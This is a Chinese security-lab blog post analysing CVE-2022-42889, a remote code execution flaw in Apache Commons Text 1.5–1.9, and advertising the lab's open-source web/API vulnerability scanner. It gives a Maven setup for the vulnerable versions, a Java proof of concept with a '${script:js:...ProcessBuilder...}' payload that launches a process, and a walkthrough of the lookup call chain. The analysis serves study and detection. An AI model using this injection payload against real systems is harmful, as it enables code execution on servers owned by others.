前言
最近一直在对刚研发出来的自动化Web/API漏洞Fuzz的命令行扫描工具进行维护更新(工具地址:https://github.com/StarCrossPortal/scalpel),目前扫描工具已更新至第三个版本,新增了5条2022年CVE漏洞POC,修复了例如Content-Type和body类型不一致等问题。最新版本测试稳定,满足Web/API的漏洞Fuzz和多场景的漏洞检测,欢迎大家试用。
项目介绍
漏洞描述
2022年10月13号,官方发布了Apache Commons Text的漏洞通告,漏洞编号:CVE-2022-42889。Apache Commons Text 执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的。org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,攻击者可构造恶意文本,使得Apache Commons Text 在解析时执行任意恶意代码。
利用范围
漏洞分析
环境搭建
IDEA 通过Maven导入依赖
pom.xml如下:
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.12.0</version>
</dependency>
</dependencies>
测试代码:
package org.text;
import org.apache.commons.text.StringSubstitutor;
public class Main {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// String payload = interpolator.replace("${script:js:new java.lang.ProcessBuilder("calc").start()}");
String payload = "${script:js:new java.lang.ProcessBuilder("calc").start()}";
interpolator.replace(payload);
}
}
动态分析
这里演示了使用默认查找StringSubstitutor来构造复杂字符串的用法,而漏洞描述中的关键所在就是执行变量插值,其标准格式是${prefix:name}。
调用ScriptEngineManager执行代码。
最后传入resolveVariable
在getStringLookup的值之后,就会直接到org.apache.commons.text.lookup.InterpolatorStringLookup中调用lookup方法。
到这里,正如开头所分析的那样lookup方法会提取”:“后的部分作为 prefix 值,然后根据 stringLookupMap 提取其对应的 lookup 实例化对象,最后通过调用ScriptEngineManager执行代码。
漏洞复现
当然,网上已经有很多大佬对这个进行了分析,此漏洞与Log4Shell (CVE-2021-44228)其实是不同的,因为在 Log4Shell 中,可以从日志消息正文中进行字符串插值,该正文通常包含不受信任的输入。在 Apache Common Text issue 中,相关方法明确用于执行字符串插值并明确记录在案,因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。
漏洞检测工具
工具地址:https://github.com/StarCrossPortal/scalpel
已更新:
目前扫描工具已更新至第三个版本,新增对CVE-2022-0885、CVE-2022-1054、CVE-2022-1392、CVE-2022-21500、CVE-2022-23854漏洞的检测,已内置100+漏洞POC,修复了例如Content-Type和body类型不一致等问题。最新版本测试稳定,满足Web/API的漏洞Fuzz和多场景的漏洞检测。
持续更新:
漏洞POC、扫描工具漏洞检测优化(检测逻辑,满足对需要连续数据包关联操作漏洞场景的检测)
关于Portal Lab
星阑科技 Portal Lab 致力于前沿安全技术研究及能力工具化。主要研究方向为API 安全、应用安全、攻防对抗等领域。实验室成员研究成果曾发表于BlackHat、HITB、BlueHat、KCon、XCon等国内外知名安全会议,并多次发布开源安全工具。未来,Portal Lab将继续以开放创新的态度积极投入各类安全技术研究,持续为安全社区及企业级客户提供高质量技术输出。
原文始发于微信公众号(星阑实验室):【技术干货】CVE-2022-42889 Apache Commons Text RCE漏洞分析